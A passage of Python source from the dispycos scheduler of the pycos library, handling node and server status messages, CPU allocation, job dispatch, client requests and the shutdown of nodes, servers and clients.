node.servers.get(rtask.location, None)\n if server and server.pid == msg.get('pid', None):\n continue\n server = Scheduler._Server(rtask, self)\n server.status = status\n server.pid = msg.get('pid', None)\n node.disabled_servers[rtask.location] = server\n if (node.status == Scheduler.NodeInitialized and self.__client and\n self.__client.status_task):\n info = DispycosStatus(server.status, server.task.location)\n self.__client.status_task.send(info)\n\n elif status == Scheduler.ServerInitialized:\n rtask = msg.get('task', None)\n if not isinstance(rtask, Task):\n continue\n node = self._nodes.get(rtask.location.addr, None)\n if not node:\n node = self._disabled_nodes.get(rtask.location.addr, None)\n if not node or (node.status != Scheduler.NodeInitialized and\n node.status != Scheduler.NodeDiscovered and\n node.status != Scheduler.NodeSuspended):\n logger.warning('Node is not valid for server %s: %s', rtask.location,\n node.status if node else None)\n continue\n if node.auth != msg.get('auth', None):\n logger.warning('Ignoring status %s from server %s', status, rtask.location)\n continue\n server = node.disabled_servers.pop(rtask.location, None)\n if server and server.pid == msg.get('pid', None):\n # if (server.status != Scheduler.ServerDiscovered and\n # server.status != Scheduler.ServerSuspended):\n # continue\n server.task = rtask\n else:\n server = Scheduler._Server(rtask, self)\n\n server.name = msg.get('name')\n server.status = status\n server.pid = msg.get('pid', None)\n node.last_pulse = now\n if node.status == Scheduler.NodeInitialized:\n if not node.servers:\n if self.__client and self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus,\n node.platform, node.avail_info)\n info = DispycosStatus(node.status, info)\n self.__client.status_task.send(info)\n self._disabled_nodes.pop(rtask.location.addr, None)\n self._nodes[rtask.location.addr] = node\n node.servers[rtask.location] = server\n server.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n node.cpu_avail.set()\n node.load = float(node.cpus_used) / len(node.servers)\n if self.__client and self.__client.status_task:\n self.__client.status_task.send(\n DispycosStatus(server.status, server.task.location))\n else:\n node.disabled_servers[rtask.location] = server\n\n elif status in (Scheduler.ServerClosed, Scheduler.ServerDisconnected):\n location = msg.get('location', None)\n if not isinstance(location, Location):\n continue\n node = self._nodes.get(location.addr, None)\n if not node:\n node = self._disabled_nodes.get(location.addr, None)\n if not node:\n continue\n if node.auth != msg.get('auth', None):\n logger.warning('Ignoring status %s from server %s', status, rtask.location)\n continue\n server = node.servers.pop(location, None)\n if server:\n if server.pid != msg.get('pid', None):\n logger.warning('Ignoring status %s from server %s: invalid PID: %s / %s',\n status, location, server.pid, msg.get('pid', None))\n node.disabled_servers[location] = server\n else:\n server = node.disabled_servers.get(location, None)\n if not server:\n continue\n if server.pid != msg.get('pid', None):\n logger.warning('Ignoring status %s from server %s: invalid PID: %s / %s',\n status, location, server.pid, msg.get('pid', None))\n server.status = status\n SysTask(self.__close_server, server, server.pid, node)\n\n elif status == Scheduler.NodeClosed:\n location = msg.get('location', None)\n if not isinstance(location, Location):\n continue\n node = self._nodes.pop(location.addr, None)\n if node:\n self._disabled_nodes[location.addr] = node\n else:\n node = self._disabled_nodes.get(location.addr, None)\n if not node:\n continue\n if node.auth != msg.get('auth', None):\n logger.warning('Ignoring status %s from node %s', status, location)\n continue\n node.status = status\n SysTask(self.__close_node, node)\n\n else:\n logger.warning('Ignoring invalid status message: %s', status)\n else:\n logger.warning('invalid status message ignored')\n\n def __node_allocate(self, node, task=None):\n if not task:\n task = pycos.Pycos.cur_task()\n for node_allocate in self.__cur_node_allocations:\n if not re.match(node_allocate.ip_rex, node.addr):\n continue\n if self._remote and isinstance(node_allocate.cpus, str):\n req = {'req': 'allocate', 'auth': self.__client_auth,\n 'alloc_id': node_allocate.cpus, 'reply_task': task,\n 'args': (node.addr, node.name, node.platform, node.cpus,\n node.avail_info.memory, node.avail_info.disk)}\n self.__client._pulse_task.send(req)\n resp = yield task.recv(timeout=MsgTimeout)\n if (isinstance(resp, dict) and resp.get('auth', None) == self.__client_auth and\n resp.get('req', None) == 'allocate' and resp.get('ip_addr', '') == node.addr):\n cpus = resp.get('cpus', 0)\n else:\n cpus = 0\n else:\n cpus = node_allocate.allocate(node.addr, node.name, node.platform, node.cpus,\n node.avail_info.memory, node.avail_info.disk)\n if cpus < 0:\n continue\n raise StopIteration(min(cpus, node.cpus))\n raise StopIteration(node.cpus)\n\n def __get_node_info(self, node, task=None):\n assert node.addr in self._disabled_nodes\n node.task.send({'req': 'dispycos_node_info', 'reply_task': task})\n node_info = yield task.receive(timeout=MsgTimeout)\n if not node_info:\n node.status = Scheduler.NodeIgnore\n raise StopIteration\n node.name = node_info.name\n node.cpus = node_info.cpus\n node.platform = node_info.platform.lower()\n node.avail_info = node_info.avail_info\n if self.__client:\n yield self.__init_node(node, task=task)\n\n def __init_node(self, node, setup_args=pycos.serialize(()), task=None):\n client = self.__client\n if not client or not node.task:\n raise StopIteration(-1)\n # this task may be invoked in two different paths (when a node is\n # found right after client is already scheduled, and when\n # client is scheduled right after a node is found). To prevent\n # concurrent execution (that may reserve / initialize same node more\n # than once), lock is used\n yield node.lock.acquire()\n # assert node.addr in self._disabled_nodes\n if node.status not in (Scheduler.NodeDiscovered, Scheduler.NodeClosed):\n logger.warning('Ignoring node initialization for %s: %s', node.addr, node.status)\n node.lock.release()\n raise StopIteration(0)\n\n if node.status == Scheduler.NodeClosed:\n cpus = yield self.__node_allocate(node, task=task)\n if not cpus:\n node.status = Scheduler.NodeIgnore\n node.lock.release()\n raise StopIteration(0)\n\n node.task.send({'req': 'reserve', 'cpus': cpus, 'status_task': self.__status_task,\n 'reply_task': task, 'client_location': client._pulse_task.location,\n 'abandon_zombie': client._abandon_zombie,\n 'pulse_interval': client._pulse_interval})\n resp = yield task.receive(timeout=MsgTimeout)\n if not isinstance(resp, dict) or resp.get('cpus', 0) <= 0:\n logger.debug('Reserving %s failed', node.addr)\n self._disabled_nodes.pop(node.addr, None)\n # node.status = Scheduler.NodeDiscoverd\n node.lock.release()\n yield pycos.Pycos.instance().close_peer(node.task.location)\n raise StopIteration(-1)\n if client != self.__client:\n node.status = Scheduler.NodeClosed\n node.task.send({'req': 'release', 'auth': node.auth, 'reply_task': None})\n node.lock.release()\n raise StopIteration(-1)\n\n node.status = Scheduler.NodeDiscovered\n node.cpus = resp['cpus']\n node.auth = resp['auth']\n if self.__client and self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n self.__client.status_task.send(DispycosStatus(node.status, info))\n\n if self.__client._disable_nodes:\n node.lock.release()\n raise StopIteration(0)\n else:\n assert node.addr in self._disabled_nodes\n\n for name, dst, sep in client._xfer_files:\n resp = yield self.pycos.send_file(node.task.location, name, dir=dst, timeout=MsgTimeout,\n overwrite=True)\n if resp < 0 or client != self.__client:\n logger.debug('Failed to transfer file %s: %s', name, resp)\n node.status = Scheduler.NodeClosed\n node.task.send({'req': 'release', 'auth': node.auth, 'reply_task': None})\n node.lock.release()\n raise StopIteration(-1)\n\n info = copy.copy(client)\n info._xfer_files = []\n info.status_task = None\n info._zombie_period = None\n node.task.send({'req': 'client', 'client': pycos.serialize(info),\n 'auth': node.auth, 'setup_args': setup_args,\n 'restart_servers': client._restart_servers, 'reply_task': task})\n reply = yield task.receive(timeout=MsgTimeout)\n if not isinstance(reply, int) or reply <= 0 or client != self.__client:\n if client._pulse_task:\n client._pulse_task.send({'req': reply, 'auth': self.__client_auth})\n node.status = Scheduler.NodeClosed\n node.task.send({'req': 'release', 'auth': node.auth, 'reply_task': None})\n node.lock.release()\n raise StopIteration(-1)\n\n node.cpus = reply\n node.status = Scheduler.NodeInitialized\n node.lock.release()\n if client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform, node.avail_info)\n client.status_task.send(DispycosStatus(node.status, info))\n for server in list(node.disabled_servers.values()):\n if server.status == Scheduler.ServerDiscovered:\n if client.status_task:\n info = DispycosStatus(server.status, server.task.location)\n self.__client.status_task.send(info)\n elif server.status == Scheduler.ServerInitialized:\n node.disabled_servers.pop(server.task.location)\n node.servers[server.task.location] = server\n server.cpu_avail.set()\n if client.status_task:\n client.status_task.send(DispycosStatus(server.status, server.task.location))\n if node.servers:\n self._disabled_nodes.pop(node.addr, None)\n self._nodes[node.addr] = node\n node.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n\n def __discover_node(self, peer_status, task=None):\n for _ in range(10):\n node_task = yield Task.locate('dispycos_node', location=peer_status.location,\n timeout=MsgTimeout)\n if not isinstance(node_task, Task):\n yield task.sleep(0.1)\n continue\n node = self._nodes.pop(peer_status.location.addr, None)\n if not node:\n node = self._disabled_nodes.pop(peer_status.location.addr, None)\n if node:\n logger.warning('Rediscovered dispycosnode at %s', peer_status.location.addr)\n if node_task == node.task and node.status == Scheduler.NodeAbandoned:\n SysTask(self.__reclaim_node, node)\n raise StopIteration\n node.status = Scheduler.NodeDisconnected\n yield SysTask(self.__close_node, node).finish()\n node = Scheduler._Node(peer_status.name, peer_status.location.addr)\n self._disabled_nodes[peer_status.location.addr] = node\n node.task = node_task\n yield self.__get_node_info(node, task=task)\n raise StopIteration\n\n def __reclaim_node(self, node, task=None):\n client = self.__client\n if not client:\n raise StopIteration\n node.task.send({'req': 'status', 'status_task': self.__status_task, 'reply_task': task,\n 'auth': node.auth})\n status = yield task.recv(timeout=MsgTimeout)\n if not isinstance(status, dict):\n logger.debug('dispycosnode %s is used by another scheduler', node.addr)\n raise StopIteration(-1)\n self._disabled_nodes.pop(node.addr, None)\n node.disabled_servers.update(node.servers)\n node.servers.clear()\n if client == self.__client and client._auth == status.get('client_auth'):\n for rtask in status.get('servers', []):\n server = node.disabled_servers.pop(rtask.location, None)\n if not server:\n logger.warning('Invalid server %s ignored', rtask)\n continue\n # TODO: get number of CPU jobs only\n server.task.send({'req': 'num_jobs', 'auth': client._auth, 'reply_task': task})\n n = yield task.receive(timeout=MsgTimeout)\n if not isinstance(n, int):\n continue\n if n == 0:\n server.cpu_avail.set()\n else:\n server.cpu_avail.clear()\n server.status = Scheduler.ServerInitialized\n node.servers[rtask.location] = server\n node.status = Scheduler.NodeInitialized\n node.last_pulse = time.time()\n if any(server.cpu_avail.is_set() for server in node.servers.values()):\n node.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n self._nodes[node.addr] = node\n logger.debug('Rediscovered node %s with %s servers', node.addr, len(node.servers))\n raise StopIteration\n\n node.status = Scheduler.NodeDisconnected\n yield SysTask(self.__close_node, node).finish()\n self._disabled_nodes[node.addr] = node\n yield self.__get_node_info(node, task=task)\n raise StopIteration\n\n def __timer_proc(self, task=None):\n task.set_daemon()\n node_check = client_pulse = last_ping = time.time()\n while 1:\n try:\n yield task.sleep(self.__pulse_interval)\n except GeneratorExit:\n break\n now = time.time()\n if self.__client_auth:\n if (yield self.__client._pulse_task.deliver('pulse')) == 1:\n client_pulse = now\n if self.__zombie_period:\n if ((now - client_pulse) > self.__zombie_period):\n logger.warning('Closing zombie client %s', self.__client_auth)\n SysTask(self.__close_client)\n\n if (now - node_check) > self.__zombie_period:\n node_check = now\n for node in list(self._nodes.values()):\n if (node.status != Scheduler.NodeInitialized and\n node.status != Scheduler.NodeDiscovered and\n node.status != Scheduler.NodeSuspended):\n continue\n if (now - node.last_pulse) > self.__zombie_period:\n logger.warning('dispycos node %s is zombie!', node.addr)\n self._nodes.pop(node.addr, None)\n self._disabled_nodes[node.addr] = node\n # TODO: assuming servers are zombies as well\n node.status = Scheduler.NodeAbandoned\n SysTask(self.__close_node, node)\n\n if not self.__client._disable_nodes:\n for node in self._disabled_nodes.values():\n if node.task and node.status == Scheduler.NodeDiscovered:\n SysTask(self.__init_node, node)\n\n if self.__ping_interval and ((now - last_ping) > self.__ping_interval):\n last_ping = now\n if not self.pycos.ignore_peers:\n self.pycos.discover_peers(port=self._node_port)\n\n def __client_scheduler_proc(self, task=None):\n task.set_daemon()\n while 1:\n if self.__client:\n self.__client_sched_event.clear()\n yield self.__client_sched_event.wait()\n continue\n\n self.__client, reply_task = yield task.receive()\n self.__pulse_interval = self.__client._pulse_interval\n self.__ping_interval = self.__client._ping_interval\n if not self._remote:\n self.__zombie_period = self.__client._zombie_period\n\n self.__client_auth = self.__client._auth\n self.__cur_node_allocations = self.__client._node_allocations\n self.__client._node_allocations = []\n\n self._disabled_nodes.update(self._nodes)\n self._nodes.clear()\n self._cpu_nodes.clear()\n self._cpus_avail.clear()\n for node in self._disabled_nodes.values():\n node.status = Scheduler.NodeClosed\n node.disabled_servers.clear()\n node.servers.clear()\n node.cpu_avail.clear()\n logger.debug('Client %s scheduled', self.__client_auth)\n msg = {'resp': 'scheduled', 'auth': self.__client_auth}\n if (yield reply_task.deliver(msg, timeout=MsgTimeout)) != 1:\n logger.warning('client not reachable?')\n self.__client_auth = self.__client = None\n continue\n for node in self.__cur_node_allocations:\n if node.ip_rex.find('*') >= 0:\n continue\n loc = Location(node.ip_rex.replace('\\\\.', '.'),\n node.port if node.port else self._node_port)\n SysTask(self.pycos.peer, loc)\n for node in self._disabled_nodes.values():\n SysTask(self.__get_node_info, node)\n if not self.pycos.ignore_peers:\n self.pycos.discover_peers(port=self._node_port)\n self.__timer_task.resume()\n self.__client_scheduler_task = None\n\n def __submit_job(self, msg, task=None):\n task.set_daemon()\n job = msg['job']\n auth = msg.get('auth', None)\n reply_task = msg.get('reply_task', None)\n if (not isinstance(job, _DispycosJob_) or not isinstance(reply_task, Task)):\n logger.warning('Ignoring invalid client job request: %s' % type(job))\n raise StopIteration\n cpu = job.cpu\n where = job.where\n if not where:\n while 1:\n node = None\n load = None\n if cpu:\n for host in self._cpu_nodes:\n if host.cpu_avail.is_set() and (load is None or host.load < load):\n node = host\n load = host.load\n else:\n for host in self._nodes.values():\n if load is None or host.load < load:\n node = host\n load = host.load\n if not node:\n self._cpus_avail.clear()\n yield self._cpus_avail.wait()\n if self.__client_auth != auth:\n raise StopIteration\n continue\n server = None\n load = None\n for proc in node.servers.values():\n if cpu:\n if proc.cpu_avail.is_set() and (load is None or len(proc.rtasks) < load):\n server = proc\n load = len(proc.rtasks)\n elif (load is None or len(proc.rtasks) < load):\n server = proc\n load = len(proc.rtasks)\n if server:\n break\n else:\n self._cpus_avail.clear()\n yield self._cpus_avail.wait()\n if self.__client_auth != auth:\n raise StopIteration\n continue\n\n if cpu:\n server.cpu_avail.clear()\n node.cpus_used += 1\n node.load = float(node.cpus_used) / len(node.servers)\n if node.cpus_used == len(node.servers):\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n yield server.run(job, reply_task, node)\n\n elif isinstance(where, str):\n node = self._nodes.get(where, None)\n if not node:\n reply_task.send(None)\n raise StopIteration\n while 1:\n server = None\n load = None\n for proc in node.servers.values():\n if cpu:\n if proc.cpu_avail.is_set() and (load is None or len(proc.rtasks) < load):\n server = proc\n load = len(proc.rtasks)\n elif (load is None or len(proc.rtasks) < load):\n server = proc\n load = len(proc.rtasks)\n\n if server:\n break\n else:\n yield node.cpu_avail.wait()\n if self.__client_auth != auth:\n raise StopIteration\n continue\n\n if cpu:\n server.cpu_avail.clear()\n node.cpus_used += 1\n node.load = float(node.cpus_used) / len(node.servers)\n if node.cpus_used >= len(node.servers):\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n yield server.run(job, reply_task, node)\n\n elif isinstance(where, Location):\n node = self._nodes.get(where.addr)\n if not node:\n reply_task.send(None)\n raise StopIteration\n server = node.servers.get(where)\n if not server:\n reply_task.send(None)\n raise StopIteration\n if cpu:\n while (not node.cpu_avail.is_set() or not server.cpu_avail.is_set()):\n yield server.cpu_avail.wait()\n if self.__client_auth != auth:\n raise StopIteration\n server.cpu_avail.clear()\n node.cpus_used += 1\n node.load = float(node.cpus_used) / len(node.servers)\n if node.cpus_used >= len(node.servers):\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n yield server.run(job, reply_task, node)\n\n else:\n reply_task.send(None)\n\n def __client_proc(self, task=None):\n task.set_daemon()\n clients = {}\n\n while 1:\n msg = yield task.receive()\n if not isinstance(msg, dict):\n continue\n req = msg.get('req', None)\n auth = msg.get('auth', None)\n if self.__client_auth != auth:\n if req == 'schedule' or req == 'await':\n pass\n else:\n continue\n\n if req == 'job':\n SysTask(self.__submit_job, msg)\n continue\n\n reply_task = msg.get('reply_task', None)\n if not isinstance(reply_task, Task):\n reply_task = None\n\n if req == 'enable_server':\n loc = msg.get('server', None)\n if not isinstance(loc, Location):\n continue\n node = self._nodes.get(loc.addr, None)\n if not node:\n node = self._disabled_nodes.get(loc.addr, None)\n if not node or node.status not in (Scheduler.NodeInitialized,\n Scheduler.NodeSuspended):\n continue\n server = node.disabled_servers.get(loc, None)\n if not server or server.status not in (Scheduler.ServerDiscovered,\n Scheduler.ServerSuspended):\n continue\n if server.status == Scheduler.ServerDiscovered:\n args = msg.get('setup_args', pycos.serialize(()))\n server.task.send({'req': 'enable_server', 'setup_args': args,\n 'auth': node.auth})\n elif server.status == Scheduler.ServerSuspended:\n node.disabled_servers.pop(loc)\n node.servers[loc] = server\n server.status = Scheduler.ServerInitialized\n server.cpu_avail.set()\n if len(node.servers) == 1:\n node.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n if self.__client.status_task:\n info = DispycosStatus(Scheduler.ServerResumed, loc)\n self.__client.status_task.send(info)\n if node.status == Scheduler.NodeSuspended:\n self._disabled_nodes.pop(node.addr, None)\n self._nodes[node.addr] = node\n node.status = Scheduler.NodeInitialized\n if self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n info = DispycosStatus(Scheduler.NodeResumed, info)\n self.__client.status_task.send(info)\n\n elif req == 'enable_node':\n addr = msg.get('addr', None)\n if not addr:\n continue\n node = self._disabled_nodes.get(addr, None)\n if not node or node.status not in (Scheduler.NodeDiscovered,\n Scheduler.NodeSuspended):\n continue\n if node.status == Scheduler.NodeDiscovered:\n setup_args = msg.get('setup_args', pycos.serialize(()))\n SysTask(self.__init_node, node, setup_args=setup_args)\n elif node.status == Scheduler.NodeSuspended:\n if node.servers:\n node.status = Scheduler.NodeInitialized\n self._disabled_nodes.pop(addr, None)\n self._nodes[node.addr] = node\n node.cpu_avail.set()\n self._cpu_nodes.add(node)\n self._cpus_avail.set()\n if self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n info = DispycosStatus(Scheduler.NodeResumed, info)\n self.__client.status_task.send(info)\n\n elif req == 'suspend_server':\n loc = msg.get('server', None)\n if not isinstance(loc, Location):\n continue\n node = self._nodes.get(loc.addr, None)\n if not node:\n continue\n server = node.servers.pop(loc, None)\n if not server:\n continue\n if server.status not in (Scheduler.ServerInitialized, Scheduler.ServerDiscovered):\n node.servers[loc] = server\n continue\n node.disabled_servers[loc] = server\n if server.status == Scheduler.ServerInitialized:\n server.status = Scheduler.ServerSuspended\n server.cpu_avail.clear()\n if self.__client.status_task:\n info = DispycosStatus(server.status, loc)\n self.__client.status_task.send(info)\n if not node.servers:\n self._nodes.pop(node.addr)\n self._disabled_nodes[node.addr] = node\n node.status = Scheduler.NodeSuspended\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n if self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n info = DispycosStatus(node.status, info)\n self.__client.status_task.send(info)\n\n elif req == 'suspend_node':\n addr = msg.get('addr', None)\n if not addr:\n continue\n node = self._nodes.pop(addr, None)\n if not node:\n continue\n if node.status not in (Scheduler.NodeInitialized, Scheduler.NodeDiscovered):\n self._nodes[addr] = node\n continue\n self._disabled_nodes[node.addr] = node\n if node.status == Scheduler.NodeInitialized:\n node.status = Scheduler.NodeSuspended\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n if self.__client.status_task:\n info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n info = DispycosStatus(node.status, info)\n self.__client.status_task.send(info)\n\n elif req == 'close_server':\n addr = msg.get('addr', None)\n if not isinstance(addr, Location):\n continue\n node = self._nodes.get(addr.addr, None)\n if not node:\n node = self._disabled_nodes.get(addr.addr, None)\n if not node:\n continue\n if not node.task:\n continue\n server = node.servers.get(addr, None)\n if not server:\n server = node.disabled_servers.get(addr, None)\n if not server:\n continue\n SysTask(self.__close_server, server, server.pid, node,\n terminate=msg.get('terminate', False), restart=msg.get('restart', False))\n\n elif req == 'close_node':\n addr = msg.get('addr', None)\n if not addr:\n continue\n node = self._nodes.pop(addr, None)\n if not node:\n continue\n self._disabled_nodes[node.addr] = node\n if node.task and self.__client:\n req = {'req': 'release', 'auth': node.auth,\n 'setup_args': msg.get('setup_args', None),\n 'terminate': msg.get('terminate', False),\n 'restart': msg.get('restart', False)}\n node.task.send(req)\n\n elif req == 'node_allocate':\n node = req.get('node', None)\n if not isinstance(node, DispycosNodeAllocate):\n continue\n self.__cur_node_allocations = [node] + [na for na in self.__cur_node_allocations\n if na.ip_rex != node.ip_rex]\n if node.ip_rex.find('*') >= 0:\n continue\n loc = Location(node.ip_rex.replace('\\\\.', '.'),\n node.port if node.port else self._node_port)\n SysTask(self.pycos.peer, loc)\n\n elif req == 'nodes':\n if reply_task:\n nodes = [node.addr for node in self._nodes.values()\n if node.status == Scheduler.NodeInitialized]\n reply_task.send(nodes)\n\n elif req == 'servers':\n if reply_task:\n servers = [server.task.location for node in self._nodes.values()\n if node.status == Scheduler.NodeInitialized\n for server in node.servers.values()\n # if server.status == Scheduler.ServerInitialized\n ]\n reply_task.send(servers)\n\n elif req == 'tasks':\n servers = []\n tasks = []\n where = msg.get('at', None)\n if where:\n if isinstance(where, Location):\n addr = where.addr\n else:\n addr = where\n node = self._nodes.get(addr, None)\n if not node:\n node = self._disabled_nodes.get(addr, None)\n if node:\n if isinstance(where, Location):\n server = node.servers.get(where, None)\n if not server:\n server = node.disabled_servers.get(where, None)\n if server:\n servers = [server]\n else:\n servers.extend(node.servers.values())\n servers.extend(node.disabled_servers.values())\n\n else:\n for node in self._nodes.values():\n servers.extend(node.servers.values())\n servers.extend(node.disabled_servers.values())\n\n for server in servers:\n tasks.extend(list(server.rtasks.keys()))\n if reply_task:\n reply_task.send(tasks)\n\n elif req == 'schedule':\n if not reply_task:\n logger.warning('Ignoring invalid client request \"%s\"', req)\n continue\n try:\n client = pycos.deserialize(msg['client'])\n assert isinstance(client, Client) or client.__class__.__name__ == 'Client'\n assert isinstance(client._pulse_task, Task)\n if client._pulse_task.location == self.pycos.location:\n client._pulse_task._id = int(client._pulse_task._id)\n if client.status_task:\n client.status_task._id = int(client.status_task._id)\n assert isinstance(client._pulse_interval, (float, int))\n assert (MinPulseInterval <= client._pulse_interval <= MaxPulseInterval)\n except Exception:\n logger.warning('ignoring invalid client request')\n reply_task.send(None)\n continue\n while 1:\n client._auth = hashlib.sha1(os.urandom(20)).hexdigest()\n if not os.path.exists(os.path.join(self.__dest_path, client._auth)):\n break\n try:\n os.mkdir(os.path.join(self.__dest_path, client._auth))\n except Exception:\n logger.debug('Could not create \"%s\"',\n os.path.join(self.__dest_path, client._auth))\n reply_task.send(None)\n continue\n # TODO: save it on disk instead\n clients[client._auth] = client\n reply_task.send(client._auth)\n\n elif req == 'await':\n if not reply_task:\n logger.warning('Ignoring invalid client request \"%s\"', req)\n continue\n client = clients.pop(auth, None)\n if not client:\n reply_task.send(None)\n continue\n if client._pulse_task.location.addr != self.pycos.location.addr:\n client._xfer_files = [(os.path.join(self.__dest_path, client._auth,\n os.path.join(*(dst.split(sep))),\n xf.split(sep)[-1]),\n os.path.join(*(dst.split(sep))), os.sep)\n for xf, dst, sep in client._xfer_files]\n for xf, dst, sep in client._xfer_files:\n if not os.path.isfile(xf):\n logger.warning('File \"%s\" for client %s is not valid',\n xf, client._auth)\n client = None\n break\n if client is None:\n reply_task.send(None)\n else:\n self.__client_scheduler_task.send((client, reply_task))\n self.__client_sched_event.set()\n\n elif req == 'close_client':\n if not reply_task:\n logger.warning('Ignoring invalid client request \"%s\"', req)\n continue\n SysTask(self.__close_client, reply_task=reply_task,\n await_io=msg.get('await_io', False), terminate=msg.get('terminate', False))\n\n elif req == 'abandon_zombie':\n addr = msg.get('addr', None)\n if not addr:\n if self.__client:\n if self.__client.abandon_zombie == bool(msg.get('flag', False)):\n continue\n self.__client.abandon_zombie = bool(msg.get('flag', False))\n req = {'req': 'abandon_zombie', 'flag': bool(msg.get('flag', False))}\n for node in self._nodes.values():\n if node.task:\n req['auth'] = node.auth\n node.task.send(req)\n continue\n node = self._nodes.get(addr, None)\n if node:\n node.abandon_zombie = msg.get('flag', False)\n if node.task and self.__client:\n node.task.send({'req': 'abandon_zombie', 'auth': node.auth,\n 'flag': node.abandon_zombie})\n\n else:\n logger.warning('Ignoring invalid client request \"%s\"', req)\n\n def __close_node(self, node, await_io=False, terminate=False, task=None):\n if not node.task:\n logger.debug('Closing node %s ignored: %s', node.addr, node.status)\n raise StopIteration(-1)\n\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n self._nodes.pop(node.addr, None)\n self._disabled_nodes[node.addr] = node\n client = self.__client\n if node.status == Scheduler.NodeAbandoned:\n # TODO: safe to assume servers are disconnected as well?\n for server in node.disabled_servers.values():\n if server.status < Scheduler.ServerDisconnected:\n server.status = Scheduler.ServerAbandoned\n\n servers = list(node.servers.values())\n servers.extend(list(node.disabled_servers.values()))\n for server in servers:\n if server.task:\n SysTask(self.__close_server, server, server.pid, node, await_io=await_io,\n terminate=terminate)\n for server in servers:\n if server.task:\n yield server.done.wait()\n if (client and client.status_task):\n status_info = DispycosNodeInfo(node.name, node.addr, node.cpus, node.platform,\n node.avail_info)\n client.status_task.send(DispycosStatus(node.status, status_info))\n\n # if ((node.status == Scheduler.NodeDisconnected) or\n # (node.status == Scheduler.NodeAbandoned and node.abandon_zombie)):\n # # self._disabled_nodes.pop(node.addr, None)\n # # TODO: it is not safe to throw away peer if node is still running\n # Task(pycos.Pycos.instance().close_peer, node.task.location, timeout=2)\n if node.task and node.status < Scheduler.NodeClosed:\n node.task.send({'req': 'release', 'auth': node.auth})\n\n def __close_server(self, server, pid, node, await_io=False, terminate=False, restart=False,\n task=None):\n if server.pid != pid:\n raise StopIteration(0)\n if server.status == Scheduler.ServerDisconnected:\n for _ in range(10):\n if not server.rtasks:\n break\n yield task.sleep(0.2)\n server.done.set()\n server_task, server.task = server.task, None\n if not server_task or not node.task:\n raise StopIteration(0)\n if node.servers.pop(server_task.location, None):\n node.disabled_servers[server_task.location] = server\n if node.servers:\n if server.cpu_avail.is_set():\n node.load = float(node.cpus_used) / len(node.servers)\n else:\n if node.cpu_avail.is_set():\n node.cpu_avail.clear()\n self._cpu_nodes.discard(node)\n if not self._cpu_nodes:\n self._cpus_avail.clear()\n\n client = self.__client\n if server.status < Scheduler.ServerClosed:\n node.task.send({'req': 'close_server', 'terminate': terminate, 'restart': restart,\n 'pid': pid, 'addr': server_task.location, 'auth': node.auth})\n server.status = Scheduler.ServerClosed\n if server.status == Scheduler.ServerClosed:\n if server.rtasks:\n if (not server.cpu_avail.is_set()):\n logger.info('Waiting for %s remote tasks at %s to finish',\n len(server.rtasks), server_task.location)\n yield server.cpu_avail.wait(timeout=MsgTimeout if terminate else None)\n if await_io:\n while server.rtasks:\n logger.info('Waiting for %s remote tasks at %s to finish',\n len(server.rtasks), server_task.location)\n yield server.done.wait(timeout=MsgTimeout)\n if terminate:\n break\n if server.rtasks: # wait a bit for monitor to process\n for _ in range(10):\n yield task.sleep(0.1)\n if not server.rtasks:\n break\n\n if server.rtasks:\n logger.warning('%s tasks abandoned at %s', len(server.rtasks), server_task.location)\n for rtask, job in server.rtasks.items():\n if client:\n status = MonitorStatus(rtask, Scheduler.TaskAbandoned)\n client._pulse_task.send({'req': status, 'auth': self.__client_auth})\n server.rtasks.clear()\n\n server.xfer_files = []\n server.askew_results.clear()\n if client and client.status_task:\n client.status_task.send(DispycosStatus(server.status, server_task.location))\n\n if not server.done.is_set():\n server.done.set()\n if node.servers:\n node.load = float(node.cpus_used) / len(node.servers)\n else:\n node.load = 0.0\n raise StopIteration(0)\n\n def __close_client(self, reply_task=None, await_io=False, terminate=False, task=None):\n if self.__client:\n close_tasks = [SysTask(self.__close_node, node, await_io=await_io,\n terminate=terminate) for node in self._nodes.values()]\n close_tasks.extend([SysTask(self.__close_node, node, await_io=await_io,\n terminate=terminate)\n for node in self._disabled_nodes.values()])\n for close_task in close_tasks:\n yield close_task.finish()\n if self.__client_auth:\n client_path = os.path.join(self.__dest_path, self.__client_auth)\n if os.path.isdir(client_path):\n shutil.rmtree(client_path, ignore_errors=True)\n if self.__client and self.__client.status_task:\n self.__client.status_task.send(DispycosStatus(Scheduler.ClientClosed, id(self.__client)))\n self.__client_auth = self.__client = None\n self.__client_sched_event.set()\n if reply_task:\n reply_task.send('closed')\n raise StopIteration(0)\n\n def close(self, task=None):\n \"\"\"Close current client and quit scheduler.\n\n Must be called with 'yield' as 'yield scheduler.close()' or as\n task.\n \"\"\"\n yield self.__close_client(task=task)\n raise StopIteration(0)\n\n\nif __name__ == '__main__':\n \"\"\"The scheduler can be started either within a client program (if no other\n client programs use the nodes simultaneously), or can be run on a node with\n the options described below (usually no options are necessary, so the\n scheduler can be strated with just 'dispycos.py')\n \"\"\"\n\n import argparse\n import signal\n try:\n import readline\n except ImportError:\n pass\n\n import pycos.dispycos\n setattr(sys.modules['pycos.dispycos'], 